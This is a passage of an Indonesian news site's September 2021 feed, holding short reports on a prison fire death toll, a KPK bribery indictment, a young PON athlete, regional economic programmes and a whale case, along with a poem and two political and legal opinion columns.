dapat diwujudkan dan direalisasikan dalam rangka meningkatkan kesejahteraan masyarakat Kotabaru," katanya. Legislatif mengapresiasi meningkatnya PAD Kotabaru 6,03 persen atau sebesar Rp97,866 miliar. Dan diharapkann Pemda fokus melaksanakan program pembangunan yang tertunda pelaksanaannya akibat pandemi COVID-19. (mth)

Atlet Sepatu Roda Belia Jogjakarta Optimismis Sumbang Emas PON Papua

Jogjakarta, FNN - Atlet sepatu roda DIJ yang berasal dari Kota Jogjakarta Aurellia Nariswari Putri Sigit optimistis mampu menyumbang setidaknya satu medali emas dalam PON Papua. “Target untuk meraih medali pasti ada dan saya optimistis bisa,” kata Aurellia saat berpamitan dengan Wakil Wali Kota Jogjakarta Heroe Poerwadi di Jogjakarta, Senin. Meskipun baru berusia 14 tahun, ia akan turun di lima nomor pertandingan, di antaranya 15 kilometer, 10 kilometer point to point, marathon, relay, dan juga team time trial. Sejumlah persiapan sudah dilakukan oleh atlet yang saat ini masih tercatat sebagai siswi kelas 9 SMP Negeri 9 Yogyakarta itu, di antaranya meningkatkan intensitas latihan termasuk latihan fisik. “Latihan dilakukan di dua lokasi yaitu di Stadion Mandala Krida dan Stadion Sultan Agung Bantul,” katanya yang sudah melakukan persiapan untuk tampil di PON sejak dua tahun lalu. Latihan secara intensif mulai ditingkatkan sejak enam bulan lalu termasuk untuk mempersiapkan diri terhadap kondisi cuaca di Papua yang diperkirakan lebih panas. “Latihan dilakukan pada siang hari supaya lebih mudah beradaptasi dengan cuaca di lokasi pertandingan,” katanya yang menjadi kontingen PON termuda di DIJ. Atlet sepatu roda DIJ direncakan berangkat ke Papua pada pekan depan dan akan melakoni pertandingan sebelum pembukaan PON. Sebelumnya, KONI DIJ menargetkan meraih satu medali emas dari cabang sepatu roda. Sejumlah tim yang diperkirakan akan menjadi pesaing berat adalah dari DKI Jakarta, Jawa Timur, Jawa Barat, Kalimantan Timur, dan dari tuan rumah Papua. Sementara itu, Wakil Wali Kota Jogjakarta Heroe Poerwadi meminta agar seluruh atlet dapat menjaga fokus pertandingan sehingga mampu mengeluarkan kemampuan terbaik untuk mempersembahkan prestasi di ajang pesta olahraga terbesar di Indonesia tersebut. “Beradaptasi dengan lokasi pertandingan secara cepat juga perlu dilakukan. Yang penting fokus pada pertandingan saja dan selalu menjaga semangat serta kesehatan,” katanya. (mth)

Sunyi Sepi Kehadiran Illahi

Oleh: Yusuf Blegur KETIKA kebenaran dan kesalahan bertukar posisi. Maka kebaikan dan kejahatan semakin sulit dikenali. Orang tidak akan mampu memahami maknanya relasi. Jangankan terhadap sesama, bahkan dirinya sendiri tak dapat dikendali. Sekelilingnya hanya sekedar ilusi. Pribadi terlanjur agresif mengawinkan obsesi dan konspirasi. Betapa diri menjelma menjadi keangkuhan eksistensi dan reputasi. Negara dengan bangunan dan arsitektur religi, bahkan tak mampu menghimpun welas asih populasi. Semua ikut berburu posisi, tanpa peduli pada harga diri. Dzikir tak lagi digerakkan jari-jari. Tarian jemari itu terus memproduksi provokasi dan intimidasi. Tanpa basa-basi membunuh demokrasi. Tuhan tak lagi dilihat sebagai sebuah presisi. Pemimpin tak ada lagi yang bisa diteladani. Para ulama lurus dikebiri, sebagian lainnya memilih menjajakan diri. Agama dibuat sedemikian rupa menjadi Tirani. Keleluasaan hanya milik kapitalisasi dan liberalisasi. Dunia memang harus menjadi panggung dramatisasi. Penuh siasat dan atraksi. Hanya ada pentas yang pantas buat gerombolan penikmat masturbasi. Bergairah bersenggama dengan materi. Tak peduli pada kata hati dan nurani. Mengambil jalan oposisi berarti bunuh diri. Menemani keadilan yang mati. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Narapidana Korban Kebakaran Penjara Tangerang Bertambah Jadi 46 Orang

Tangerang, FNN - Jumlah korban warga binaan atau narapidana kebakaran di Lembaga Permasyarakatan (Lapas) atau penjara Kelas I Tangerang, Banten, bertambah dua orang. Dengan demikian, total menjadi 46 orang meninggal dunia. "Kemarin sudah empat orang yang meninggal, satu lagi semalam neninggal berinisial T (50). Luka bakar 41 persen dan trauma berat di saluran pernapasan, meninggalnya pukul 21.05 WIB," kata Kepala Instalasi Hukum Publikasi dan Informasi (HPI) RSUD Kabupaten Tangerang, Hilwani, di Tangerang, Senin, 13 September 2021. Ia menyebutkan, kedua korban meninggal tersebut berinisial T (50) dengan luka bakar 41 persen dan H (42) yang mengalami luka bakar 63 persen yang meninggal pada hari Sabtu (11/9) pukul 21.30 WIB. "Jadi, pada hari Sabtu ada satu pasien berinisial H meninggal, dan di hari Minggu yaitu T meninggal dunia setelah dirawat," tuturnya, sebagaimana dikutip dari Antara. Pasien meninggal dunia tersebut, kata dia, saat ini masih ada di tempat pemulasaraan jenazah milik Rumah Sakit Umum Daerah (RSUD) Kabupaten Tangerang. "Kami sudah berkoordinasi dengan pihak Lapas Tangerang untuk pengambilan jenazah," katanya. Hingga kini pasien yang masih menjalani perawatan di RSUD Kabupaten Tangerang tercatat lima orang, yakni berinisial N (34), Y (33), M (44), I (27), dan S (35). "Hingga sekarang yang masih dirawat lima pasien, seoraang kondisinya relatif stabil, kemudian dua masih berat tetapi masih tekanan darahnya terkontrol dengan obat," katanya. Disebutkan bahwa dari kelima pasien yang dirawat, dua di antaranya berinisial Y dan S kondisinya membaik, bahkan mereka sudah bisa bicara serta makan secara mandiri. "Rencananya tuan JS yang mengalami patah tulang akan dilakukan operasi ORIF (open reduction internal fixation​​​​​​) reposisi tulang," ujarnya. Sebelumnya, Rumah Sakit Umum Daerah (RSUD) Kabupaten Tangerang telah melakukan perawatan terhadap 10 orang yang mengalami luka berat dan ringan, korban kebakaran Lapas Kelas I Tangerang. Mereka yang dirawat mengalami luka bakar dengan kondisi sampai 20 persen hingga 90 persen. Selain itu, pada insiden kebakaran di Lapas Tangerang itu juga menyebabkan 44 orang meninggal dan kini bertambah 2 orang sehingga total korban meninggal menjadi 46 orang. (MD).

Azis Syamsudin Disebut Beri RP 3,613 Miliar ke Penyidik KPK Urus Kasus

Jakarta, FNN - Wakil Ketua Dewan Perwakilan Rakyat dari fraksi Partai Golkar Azis Syamsudin bersama dengan kader partai beringin lain Aliza Gunado disebut memberikan suap sekitar Rp 3,618 miliar kepada penyidik Komisi Pemberantasan Korupsi, Stepanus Robin Pattaju. Suap yang terdiri dari Rp 3.099.887.000 dan 36.000 dolar AS (sekitar Rp 513 juta) diberikan sebagai suap dalam mengurus kasus korupsi di Lampung Tengah. "Bahwa untuk mengurus kasus yang melibatkan Azis Syamsudin dan ALiza Gunado di KPK, terdakwa Stepanus Robin Pattuju dan Maskur Husain telah menerima uang dengan jumlah keseluruhan sekitar Rp 3.099.887.000 dan 36 ribu dolar AS (sekitar Rp 513 juta)," kata jaksa penuntut umum (JPU) KPK, Lie Putra Setiawan di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 13 September 2021. Hal tersebut terungkap dalam surat dakwaan Stepanus Robin Pattuju dan Maskur Husain. Dalam surat dakwaan disebutkan, pada awalnya sekitar Agustus 2020, Robin dimintai tolong Azis Syamsudin berdiskusi dengan Maskur Husain apakah bersedia mengurus kasus yang melibatkan Azis Syamsudin dan Aliza Gunado terkait penyelidikan KPK di Lampung Tengah. Robin dan Maskur Husain sepakat untuk mengurus kasus yang melibatkan Azis Syamsudin dan Aliza Gunado tersebut asal diberi imbalan uang sejumlah Rp 2 miliar dari masing-masing yaitu Azis Syamsudin dan Aliza Gunado dengan uang muka sejumlah Rp 300 juta. Azis menyetujui syarat pemberian uang senilai Rp 4 miliar tersebut. Robin lalu menerima uang muka Rp 100 juta dan Maskur Husain menerima Rp 200 juta melalui transfer rekening milik Azis Syamsudin pada 3 dan 5 Agustus 2020. Pada 5 Agustus 2020, Robin juga menerima tunai sejumlah 100 ribu dolar AS dari Azis Syamsudin di rumah dinas Azis di Jalan Denpasar Raya 3/3 Jakarta Selatan. "Dimana terdakwa datang ke rumah dinas diantar oleh Agus Susanto. Uang tersebut sempat terdakwa tunjukkan kepada Agus Susanto saat ia sudah kembali ke mobil dan menyampaikan Azis Syamsudin meminta bantuan terdakwa, yang nantinya Agus Susanto pahami itu terkait kasus Azis Syamsudin di KPK," kata jaksa, sebagaimana dikutip dari Antara. Robin lalu membagi-bagi uang tersebut yaitu sejumlah 36.000 dolar AS kepada Maskur Husain di depan Pengadilan Negeri Jakarta Pusat. Sisanya sebanyak 64 ribu dolar AS ditukarkan di money changer dengan menggunakan identitas Agus Susanto sehingga memperoleh uang rupiah sejumlah Rp 936 juta. Uang tersebut sebagian atau Rp 300 juta diberikan kepada Maskur di Rumah Makan Borero, Keramat Sentiong, Jakarta Pusat. "Selanjutnya mulai akhir Agustus 2020 sampai Maret 2021, terdakwa beberapa kali menerima sejumlah uang dari Azis Syamsudin dan Aliza Gunado dengan jumlah keseluruhan 171.900 dolar Singapura," ujar jaksa. Robin lalu menukar uang tersebut menggunakan identitas Agus Susanto dan Rizky Cinde Awaliyah yang merupakan teman wanita Robin sehingga diperoleh uang senilai Rp 1.863.887.000. Sebagian uang lalu diberikan ke Maskur Husain. Antara lain pada awal September 2020 di Rumah Makan Borero Rp 1 miliar. Kemudian pada September 2020 di Rumah Makan Borero Rp 800 juta. Total uang yang diterima Robin dan Masku adalah sekitar Rp 3.099.887.000 dan 36 ribu dolar AS. "Kemudian terdakwa dan Maskur Husain bagi, dimana terdakwa memperoleh Rp 799.887.000, sedangkan Maskur Husain memperoleh Rp 2,3 miliar dan 36.000 dolar AS," ucap jaksa. Dalam perkara tersebut, Robin dan Maskur Husain didakwa menerima seluruhnya Rp 11,025 miliar dan 36.000 dolar AS (sekitar Rp 513 juta). Sehingga totalnya sebesar Rp 11,5 miliar terkait pengurusan lima perkara di KPK. Robin dan Maskur didakwa menerima dari M Syahrial Rp 1,695 miliar, dari Azis Syamsudin dan Aliza Gunado Rp 3.099.887.000 dan 36.000 dolar AS. Kemudian didakwa menerima dari Ajay Muhammad Priatna Rp 507,39 juta, Usman Effendi sejumlah Rp 525 juta dan Rita Widyasari Rp 5.197.800.000. M. Syahrial adalah Wali Kota Tanjungbalai nonaktif; Azis Syamsudin adalah Wakil Ketua DPR dari fraksi Partai Golkar; Aliza Gunado adalah kader Golkar yang pernah menjabat sebagai mantan Wakil Ketua Umum PP Angkatan Muda Partai Golkar (AMPG). Ajay Muhammad Priatna adalah Wali Kota Cimahi non-aktif; Usman Effendi adalah Direktur PT. Tenjo Jaya yang juga narapidna kasus korupsi hak penggunaan lahan di Kecamatan Tenjojaya, Sukabumi, Jawa Barat; dan Rita Wisyasari adalah mantan Bupati Kutai Kartanegara. Atas perbuatannya, Robin dan Maskur didakwa berdasarkan pasal 12 huruf a atau pasal 11 jo pasal 18 UU No. 31 tahun 1999 sebagaimana diubah dengan UU No. 20 tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo padal 55 ayat 1 ke-1 jo pasal 65 ayat 1 KUHP. (MD).

Thoghou Fil Bilaad

By M Rizal Fadillah *) BAGI Susaningtyas Nefo yang mengklaim sebagai pengamat intelijen, mantan aktivis Partai Hanura dan PDIP, mungkin dengan judul di atas langsung mengidentifikasi pembuat artikel adalah teroris karena memenuhi ciri-ciri kriteria Nefo. Maklum itu bahasa Arab, terlebih ada dalam Al Qur'an. Mungkin anggapannya Al Qur'an itu kitab suci para teroris. Sama dengan Abu Janda yang menyebut agama teroris adalah Islam dan Denny Siregar yang menilai anak anak santri cilik di Tasikmalaya sebagai calon teroris. Komunitas Islamophobia gemar menyinggung dan menyerang umat Islam beserta keyakinannya. Thoghou fil bilaad artinya berbuat zalim atau sewenang-wenang di dalam negara. Mengabaikan aturan serta menganggap dirinya berkuasa dan dapat berbuat apa saja baik memaksa pentaatan maupun menghukum penentang. Dikelilingi oleh para pengabdi yang selalu siap untuk menjilat dan mengagung-agungkan. Predikat itu diberikan oleh Allah kepada Fir'aun "wa fir'auna dzil autaad, alladziina thoghou fil bilaad" (dan Fir'aun yang membangun infrastruktur, yang berbuat sewenang-wenang di dalam negara)--QS Al Fajr 10-11. Fir'aun dikelilingi Komandan Keamanan Hamman, Menteri Keuangan Qorun, dan Menteri Agama dan Spiritualitas Bal'am. Dukun dan tukang sihir ikut mengawal kebijakan. Dengan kombinasi antara otokrasi dan oligarkhi Fir'aun mempertuhankan dirinya. Menindas bangsanya. Thoghou fil bilaad dilanjutkan oleh para penerusnya dimana dan kapanpun yaitu pemegang kekuasaan yang korup. Tidak sama persis memang, akan tetapi karakter seperti ini selalu muncul sebagai efek dari kenikmatan berkuasa. Ada pengaruh ada pula modal kekayaan. Mampu pula menggerakkan alat pemaksa baik aparat maupun penegak hukum. Dalil spiritual menjadi bagian dari stempel kebijakan. Kita berharap bahwa Presiden Jokowi tidak berkarakter thoghou fil bilaad. Karena ia dipilih dari proses demokrasi melalui Pemilihan Umum. Meskipun sinyalemen curang melekat juga. Ia mesti menjaga amanah dan berlaku adil. Tidak boleh memperalat aparat ataupun hukum untuk kepentingan politik kekuasaan. Fenomena pembiaran lambatnya proses peradilan pembunuhan 6 anggota Laskar, pembungkaman HRS dengan menunggangi hukum, penahanan Munarman, pembubaran HTI dan FPI semaunya, memperalat pandemi, hingga pengancaman Hersubeno Arief dan Rocky Gerung dapat menjadi bagian dari thoghou fil bilaad. Sejuta alasan untuk seribu tangan dengan satu prinsip bahwa oposisi harus dihancurkan. Kekuasaan tidak bisa diganggu gugat dan mesti dilanggengkan. Periode demi periode. Thoghou fil bilaad merupakan perilaku yang dibenci Ilahi. Melalui tangan Musa, Fir'aun yang zalim dan bala tentaranya itu ditenggelamkan. Cemeti adzab dipukulkan. Kekuasaan pun hilang tak berbekas. Thoghou fil bilaad tak butuh wajah garang karena esensinya adalah memanipulasi kasus hingga hilang, memainkan tokoh politik sebagai wayang, serta menindas semua orang dan merampas semua barang. "fa aktsaruu fiihaal fasaad" --mereka melakukan banyak kerusakan--(QS Al Fajr 12). *) Pemerhati Politik dan Kebangsaan

Mengadili Produk Jurnalistik Karya Hersubeno Arief

Oleh M. Fayyadh, SH. PEMBERITAAN pers yang dilakukan oleh jurnalis Hersubeno Arief dari FNN.co.id dalam unggahan video di kanal Youtube miliknya pada hari Kamis tanggal 9 September 2021 merupakan bentuk verifikasi jurnalistik, karena Hersubeno dalam menyampaikan beritanya mengutip dari beberapa media online yang memuat pernyataan-pernyataan dari para narasumber yang merupakan politikus partai PDIP yang juga sebagai Pengurus Pusat DPP PDIP, sehingga keterangan-keterangan yang disampaikan para narasumber tersebut dianggap valid. Oleh karena itu menurut saya pemberitaan pers yang disampaikan oleh Hersubeno tidak ditemukan adanya trial by the press atau pemberitaan yang terlalu menyudutkan pihak-pihak atau orang tertentu. Pemberitaan yang disampaikan oleh Hersubeno merupakan karya jurnalistik, sehingga jika pemberitaannya diduga memuat berita yang keliru atau dipersoalkan, maka harus diselesaikan dengan menggunakan UU No.40 Tahun 1999 Tentang Pers. Ini adalah produk hukum adalah lex specialist (hukum yang berlaku khusus) terhadap Kitab Undang-undang Hukum Pidana (KUHP) dan Kitab Undang-undang Hukum Perdata (KUHPer), sehingga dalam hal terdapat suatu permasalahan yang berkaitan dengan pemberitaan pers, maka peraturan perundang-undangan yang digunakan adalah UU Pers. Undang-undang Pers adalah ketentuan khusus yang mengatur tentang pelaksanaan kegiatan jurnalistik: mulai dari mencari, memilah, dan memberitakannya sampai ke mekanisme penyelesaian permasalahan yang timbul akibat pemberitaan pers. Oleh karena itu dalam menjalankan kegiatan junalistiknya, wartawan tidak dapat dihukum dengan menggunakan KUHP sebagai suatu ketentuan yang umum (lex generali). Dalam hal ini berlakulah asas yang universal yaitu lex specialis derogate legi generali yaitu ketentuan yang khusus mengesampingkan Ketentuan kang umum. Mengenai siapa yang bertanggung jawab terhadap pemberitaan yang diduga menyampaikan berita yang keliru atau merugikan orang/pihak lain, dijelaskan bahwa secara teknis hukum, perusahaan pers harus menunjuk penanggung jawabnya, yang terdiri dari 2 (dua) bidang yaitu, penanggung jawab bidang usaha dan penanggung jawab bidang redaksi. Mekanisme pertanggungjawaban yang dilakukan oleh wartawan diambil alih oleh perusahaan pers yang diwakili oleh penanggung jawab itu. Hal tersebut sesuai dengan Pasal 12 UU No.40 Tahun 1999 Tentang Pers yang mengatakan bahwa perusahaan pers wajib mengumumkan nama, alamat dan penanggung jawab secara terbuka melalui media yang bersangkutan. Yang dimaksud dengan "penanggung jawab" adalah penanggungjawab perusahaan pers yang meliputi bidang usaha dan bidang redaksi. Adapun mekanisme penyelesaian yang dapat ditempuh dalam hal terdapat pemberitaan yang diduga menyampaikan berita yang keliru atau merugikan orang/pihak lain adalah melalui Hak Jawab (Pasal 5 ayat [2] UU No.40 Tahun 1999 Tentang Pers) dan Hak Koreksi (Pasal 5 ayat [3] UU No.40 Tahun 1999 Tentang Pers). Hak Jawab adalah hak seseorang atau sekelompok orang untuk memberikan tanggapan atau sanggahan terhadap pemberitaan berupa fakta yang merugikan nama baiknya, sedangkan Hak Koreksi adalah hak setiap orang untuk mengoreksi atau membetulkan kekeliruan informasi yang diberikan oleh pers, baik tentang dirinya maupun tentang orang lain. Mekanisme penyelesaian permasalahan akibat pemberitaan pers pertama-tama dengan menggunakan pemenuhan secara sempurna pelayanan Hak Jawab dan Hak Koreksi. Hal ini dilakukan oleh seseorang atau sekelompok orang secara langsung kepada redaksi yang dalam hal ini mewakili perusahaan pers sebagai penanggungjawab bidang redaksi wajib melayaninya. Orang atau sekelompok orang yang merasa dirugikan nama baiknya akibat pemberitaan itu harus memberikan data atau fakta yang dimaksudkan sebagai bukti bantahan atau sanggahan pemberitaan itu tidak benar. Implementasi pelaksanaan Hak Jawab tersebut dapat dilihat pada Pasal 10 Peraturan Dewan Pers Nomor: 6/Peraturan-DP/V/2008 tentang Pengesahan Surat Keputusan Dewan Pers Nomor 03/SK-DP/III/2006 tentang Kode Etik Jurnalistik sebagai Peraturan Dewan Pers (“Kode Etik Jurnalistik”) sebagai kode etik wartawan yang baru. Selain itu, pelaksanaan Hak Jawab dan Hak Koreksi dapat dilakukan juga ke Dewan Pers (Pasal 15 ayat [2] UU No.40 Tahun 1999 Tentang Pers). Salah satu fungsi Dewan Pers adalah memberikan pertimbangan dan mengupayakan penyelesaian pengaduan masyarakat atas kasus-kasus yang berhubungan dengan pemberitaan pers (Pasal 15 ayat 2 huruf C UU No.40 Tahun 1999 Tentang Pers). Aparat Penegak Hukum (polisi, jaksa, hakim, dan pengacara) dalam penanganan atau pemeriksaan perkara-perkara yang terkait dengan delik pers harus berpedoman atau merujuk kepada Surat Edaran Mahkamah Agung/ SEMA No.13 Tahun 2008 untuk memperoleh gambaran objektif tentang ketentuan-ketenuan yang berhubungan dengan UU Pers. *) Advokat dan Konsultan Hukum

Iti Jayabaya: Ini Banten, Bung! Pendukung Moeldoko Jangan Main-main Dengan Demokrat!

Tangerang, FNN - Beredar undangan Pelaksanaan HUT Partai Demokrat dengan kop surat Pendiri Partai, yang salah satu rangkaian acaranya tertera nama Kepala Staf Presiden (KSP) Moeldoko yang akan memberikan sambutan, dan menerima Penitipan Partai dengan mencatut nama salah seorang pendiri Partai Demokrat. Kegiatan illegal ini direncanakan berlangsung di sebuah hotel kawasan Tangerang, Banten, pada Jumat malam, 10 September 2021, pukul 19.00 WIB. Menyikapi hal tersebut, beberapa saat sebelum acara dimulai, Ketua DPD Partai Demokrat Provinsi Banten, Iti Jayabaya, yang didampingi ratusan kader, yang mendatangi lokasi tempat diselenggarakannya peringatan HUT Partai Demokrat “abal-abal” itu. “Ini Banten, Bung! Jangan coba-coba ganggu kedaulatan dan kehormatan Partai kami dengan acara illegal yang provokatif seperti ini. Pemerintah telah nyata-nyata menolak mengesahkan KLB illegal Deli Serdang, lantas mengapa masih ada pihak yang terang-terangan melawan Pemerintah?” tegas Iti, yang juga Bupati Lebak, Banten ini. Setelah difasilitasi oleh pihak kepolisian dan manajemen hotel, akhirnya spanduk dan backdrop acara berhasil diturunkan sebelum acara dimulai. “Pada hari ini (Jum’at, 10/9 2021), seharian kita berkumpul, mencoba menegosiasikan apa yang kita inginkan terhadap marwah partai kita, yang kita cintai dan Alhamdulillah tadi mereka sudah melakukan kesepakatan untuk membubarkan dan mencopot atribut Demokrat yang berada di lokasi acara,” ungkap Iti, melalui pengeras suara di hadapan kader dan simpatisan Partai Demokrat, di pelataran parkir hotel tersebut. Selain dibantu para kader, pencopotan atribut Partai Demokrat di lokasi acara juga dibantu oleh Polres Tangerang Selatan. Apresiasi juga disampaikan kepada pihak kepolisian yang turun tangan dengan sigap mentertibkan atribut tersebut karena pihak penyelenggara tidak bisa menunjukkan surat pemberitahuan. Iti mengucapkan terima kasih dan apresiasi kepada para kader atas kesigapan dan loyalitas dalam menjaga kedaulatan dan kehormatan Partai Demokrat. ‘ “Saya mengucapkan terima kasih atas soliditas, komitmen yang ditunjukkan oleh saudara-saudara semua, keluarga besar Partai Demokrat. Saya yakin kita punya niat yang sama untuk membangun demokrasi yang lebih baik, terutama dalam membangun kejayaan Partai Demokrat di Provinsi Banten,” tutupnya. Selain jajaran Partai Demokrat Banten, tampak pengurus teras DPP Partai Demokrat yang hadir di lokasi acara, diantaranya Wasekjen DPP Partai Demokrat Irwan (DPR RI), Kepala BPJK Zulfikar Hamongan (DPR RI), dua Deputi Bakomstra, Ricky Kurniawan dan Cipta Panca Laksana, serta jajaran pengurus Demokrat lainnya yang tinggal di seputaran lokasi. Hingga pukul 22.00 WIB malam, (10/9), Iti dan para kader masih berada di sekitar lokasi untuk memantau perkembangan. (mth)

Pemkab Bangkalan Dorong Pemulihan Ekonomi dengan Mempercepat Perizinan

Bangkalan, FNN - Pemerintah Kabupaten (Pemkab) Bangkalan, Jawa Timur berupaya mendorong pemulihan ekonomi akibat COVID-19 dengan mempermudah dan mempercepat proses pengurusan perizinan usaha bagi kelompok usaha mikro. Menurut Kepala Bidang Informasi dan Pengendalian Pelaksanaan Penanaman Modal pada Dinas Penanaman Modal Terpadu Satu Pintu (DPMPTSP) Pemkab Bangkalan Jemmi Tria Sukmana di Bangkalan, Minggu, selain untuk memulihkan ekonomi akibat pandemi, upaya itu juga sebagai langkah mendukung pelaksanaan Undang-Undang Ciptaker Nomor 11 Tahun 2020. "Undang-undang ini merubah secara radikal perizinan berusaha. Perizinan berusaha diberikan secara mudah dan online melalui Online Submission Sistem (OSS) Berbasis Resiko," kata Sukmana. Tujuannya menumbuhkan investasi sebesar-sebesarnya di seluruh Indonesia, sekaligus memberikan kemudahan bagi masyarakat untuk berusaha sehingga mempercepat pertumbuhan perekonomian Indonesia. Ia menjelaskan, beberapa waktu lalu, pihaknya telah menyampaikan sosialisasi tentang ketentuan tersebut, guna mendorong para pelaku usaha mikro di Kabupaten Bangkalan untuk memiliki Nomor Induk Berusaha (NIB). "Ada 50 pelaku usaha mikro yang kami undang untuk mengikuti sosialisasi tentang kemudahan izin usaha tersebut, dan mereka mendapatkan arahan tentang kebijakan penanaman modal untuk kemudahan, serta kemudahan mendapatkan izin berusaha," katanya. Dalam ketentuan terbaru itu, pelaku usaha tidak perlu lagi mengurus Surat Izin Usaha Perdagangan (SIUP), Tanda Daftar Perusahaan dan izin lingkungan. "Pelaku usaha dari sektor mikro sampai besar bisa mendaftar lewat telepon seluler untuk mendapatkan NIB, karena secara online dan syaratnya hanya NIK, nomor telepon seluler pelaku usaha, serta surat elektronik," katanya. Kegiatan ini juga mensosialisasikan kebijakan penanaman modal untuk mendorong kemitraan usaha skala besar dengan UMKM. Selain itu investasi besar yang masuk ke Bangkalan berkewajibanmenggandeng usaha mikro kecil yang ada di Bangkalan dalam format kemitraan. Jemmi Tria Sukmana menuturkan, kondisi ekonomi masyarakat di Kabupaten Bangkalan akhir-akhir ini memburuk, akibat COVID-19 dan banyak pelaku usaha yang gulung tikar, sehingga pemerintah perlu mengambil langkah strategis untuk mendorong pemulihan ekonomi di wilayah itu. "Kemudahan mendapatkan izin berusaha ini, juga sebagai salah satu upaya dari berbagai program yang dicanangkan," katanya. Selain kemudahan di bidang perizinan usaha, upaya lain yang dicanangkan pemerintah dalam rangka memulihkan ekonomi masyarakat akibat pandemi COVID-19 berupa bantuan modal. "Ada 4.000 lebih pelaku usaha mikro di kabupaten ini yang menerima bantuan modal usaha, dan pencairannya langsung ke rekening masing-masing pelaku usaha," katanya. (mth)

BPSPL Denpasar Telusuri Video Warga Bima Boncengkan Paus Kepala Melon

Mataram, FNN - Balai Pengelolaan Sumber Daya Pesisir dan Laut (BPSPL) Denpasar Wilayah Kerja Nusa Tenggara Barat menelusuri video viral di media sosial berisi warga Bima memboncengkan seekor paus kepala melon (Peponocephala electra) menggunakan sepeda motor. Pengelola Ekosistem Laut dan Pesisir (PELP) BPSPL Denpasar Wilayah Kerja Nusa Tenggara Barat, Barmawi, yang dihubungi di Mataram, Minggu, mengatakan pihaknya sudah berkoordinasi dengan Pangkalan Pengawasan Sumberdaya Kelautan dan Perikanan (PSDKP) Benoa, Bali, selaku lembaga yang berwenang. "Kami sudah melaporkan kepada petugas PSDKP Benoa, apakah ada penindakan atau seperti apa nantinya, itu kewenangan mereka. Kami di BPSPL hanya berwenang melakukan penanganan terhadap biota laut dilindungi dan memberikan sosialisasi kepada masyarakat," katanya. Barmawi juga menegaskan bahwa video viral ikan yang dibonceng oleh warga di Bima tersebut bukan lumba-lumba, melainkan paus kepala melon. "Saya sudah telepon warga yang membawa ikan itu. Dari pengakuannya, dia tidak tahu bahwa ikan itu jenis yang dilindungi, sehingga dibawa pulang untuk dimakan," ujarnya. Saat berkomunikasi lewat telepon genggam, Barmawi memberikan pemahaman kepada pelaku bahwa perbuatan yang sudah dilakukannya salah karena membawa pulang jenis ikan yang termasuk biota laut dilindungi undang-undang. Hal itu sudah diatur dalam Undang-Undang Nomor 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistemnya, dan Peraturan Pemerintah Nomor 7 Tahun 1999 tentang Pengawetan Jenis Tumbuhan dan Satwa. "Saya memberikan pemahaman kepada pelaku bahwa semua jenis paus dan lumba-lumba dilindungi oleh undang-undang. Untuk itu, pelaku diingatkan dan dimohon tidak mengulangi lagi perbuatannya," kata Barmawi. Video dua orang warga memboncengkan seekor paus kepala melon viral di akun instagram "mbojoinside" dan sudah ditonton sebanyak 16.528 kali serta mendapat komentar dari 371 orang. Pengunggah video tersebut menyebut bahwa mamalia laut itu terdampar di perairan laut antara batas Kota Bima dengan Kabupaten Bima, Nusa Tenggara Barat. Pemilik akun instagram juga menulis permohonan kepada pemerintah daerah dan aparatur Pemerintah Kota Bima, untuk menindaklanjuti kasus terdamparnya mamalia laut tersebut. (mth)

Dekranasda Bali Ingatkan Perajin Tak Pamerkan Kain Songket Tiruan

Denpasar, FNN - Ketua Dewan Kerajinan Daerah (Dekranasda) Provinsi Bali Putri Koster mengingatkan para perajin yang menjadi peserta Pameran IKM Bali Bangkit III untuk tidak memamerkan produk kerajinan tiruan kain songket ataupun endek dan berbagai jenis kerajinan berbahan alpaka. "Aturannya tetap, sebagaimana telah dijalankan pada pameran-pameran sebelumnya. Hal ini sebagai upaya memuliakan warisan leluhur," kata Putri Koster dalam rapat teknis calon peserta pameran IKM Bali Bangkit III di Denpasar, Minggu. Pameran Bali Bangkit III rencananya akan dibuka pada 15 September mendatang di Taman Budaya Provinsi Bali, dengan diisi pameran secara luring dan daring melalui balimall.id. "Tugas kita mempertahankan warisan leluhur yang sudah dibuat susah payah. Salah satunya dengan mempertahankan kualitas. Jangan malah kita sendiri yang merusaknya hanya karena terguir untung sesaat," ujarnya. Menurut istri Gubernur Bali itu, Pameran IKM Bali Bangkit yang lalu telah terbukti membantu perekonomian Bali yang terpuruk akibat pandemi COVID-19. Ia pun sangat mengapresiasi dan bangga dengan capaian para perajin pada pameran sebelumnya. Akan tetapi, pencapaian itu tidak harus membuat perajin berpuas diri karena harus tetap menjaga kualitas kerajinan daerah Bali. "Kerajinan yang dipamerkan dan dijual merupakan cerminan sebagai masyarakat Bali," ucapnya. Putri Koster juga berpesan kepada para perajin untuk selalu berbuat jujur saat berjualan karena hal itu bisa menjadi salah satu penilaian para pembeli. "Jangan barang yang harganya Rp1 juta dijual Rp10 juta kepada istri pejabat. Itu salah. Rejeki sudah ada yang mengatur, jika seperti itu berarti anda sudah mengambil rezeki anda duluan dan tentu nantinya susah jualan lagi," katanya. Sementara itu, Kepala Dinas Perindustrian dan Perdagangan Provinsi Bali I Wayan Jarta mengatakan Pameran Bali Bangkit III yang dibuka pada 15 September 2021 akan berlangsung selama satu bulan. "Peserta pameran sudah harus divaksin dua kali dan harus mengunduh aplikasi pedulilindungi.id untuk menunjukkan barcode sudah divaksin," ujarnya. Senada dengan Ketua Dekranasda, ia mengatakan tujuan Pameran IKM Bali Bangkit ini untuk membangkitkan perekonomian Bali saat dan setelah masa pandemi COVID-19 dengan meningkatkan produktivitas para UMKM/IKM di Bali. "Selain itu, pameran ini juga bertujuan untuk meningkatkan akses pasar produk para perajin di dalam maupun luar daerah," katanya. (mth)

Otak Normal vs Otak Robot

